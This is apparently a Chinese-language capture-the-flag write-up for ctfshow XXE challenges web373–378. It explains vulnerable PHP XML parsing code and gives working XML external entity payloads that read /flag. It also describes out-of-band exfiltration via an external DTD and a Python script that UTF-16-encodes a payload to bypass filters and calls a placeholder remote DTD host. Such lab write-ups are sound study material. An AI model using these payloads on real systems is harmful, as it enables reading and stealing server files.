web373
libxml_disable_entity_loader(false)
:这行代码用于启用实体加载器,允许加载外部实体。
$xmlfile = file_get_contents('php://input')
:从输入流中读取XML数据并存储在 $xmlfile
变量中。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD)
:加载XML数据到 DOMDocument 对象中,并设置选项 LIBXML_NOENT
和 LIBXML_DTDLOAD
,这些选项用于控制XML解析器的行为。
$creds = simplexml_import_dom($dom)
:将 DOMDocument 对象转换为 SimpleXMLElement 对象。
$ctfshow = $creds->ctfshow;
:从 XML 数据中获取名为 ctfshow
的元素的值。
burpsuite抓包发送
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
forword
web374-376
这题没有回显,可以使用外带数据通道提取数据
一个dtd文件在本地服务器上
在写一个get.php文件接收数据
抓包输入
我们需要获得当前目录下的flag数据,然后在本地服务器创建的dtd文件(创建与我们的服务器的联系),最后一个%send将实体解析,于是在题目的服务器下,将/flag文件里的数据通过实体%file通过get传参传入了get.php文件中并执行,于是触发命令,在本地服务器建立flag.txt并将flag写入了其中
web 375
和上一题相比,这一题过滤了版本号,不写就可以,和上一题方法一样。
web 376
也是过滤了版本号,同上
web 377
这题在过滤了版本的基础上还过滤了http头
关于xml解析器:
XML解析器通常可以解析多种编码形式的XML文档,其中一些常见的编码包括:
UTF-8:这是最常见的编码形式,也是许多XML文档默认使用的编码。
UTF-16:XML文档也可以使用UTF-16编码。
ISO-8859-1(Latin-1):虽然不常见,但XML解析器通常也能够解析使用ISO-8859-1编码的XML文档。
其他:除了上述常见的编码形式之外,XML解析器还可能支持其他一些编码形式,如UTF-32等。
通常情况下,XML解析器能够根据XML文档中的声明或者特征来确定文档所使用的编码形式,从而正确解析文档内容。
正则表达式通常是针对ASCII字符编写的,而不是针对Unicode字符编写的。
UTF-16编码使得每个字符占用两个字节,这可能会使得某些正则表达式检测不到字符串中的特定模式,因为正则表达式可能只检查单个字节或特定的字节序列。
因此可以更改编码方式过后,我们就可以绕过简单的正则表达式
构造post传参:
import requests
url = 'http://8b8a3d03-40d2-4131-a046-710f0cd40dbd.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")
web 378
随便输入看到有回显
抓包
111改成&xxe; 、前面加上:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
[POST]Payload:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>$xxe;</password></user>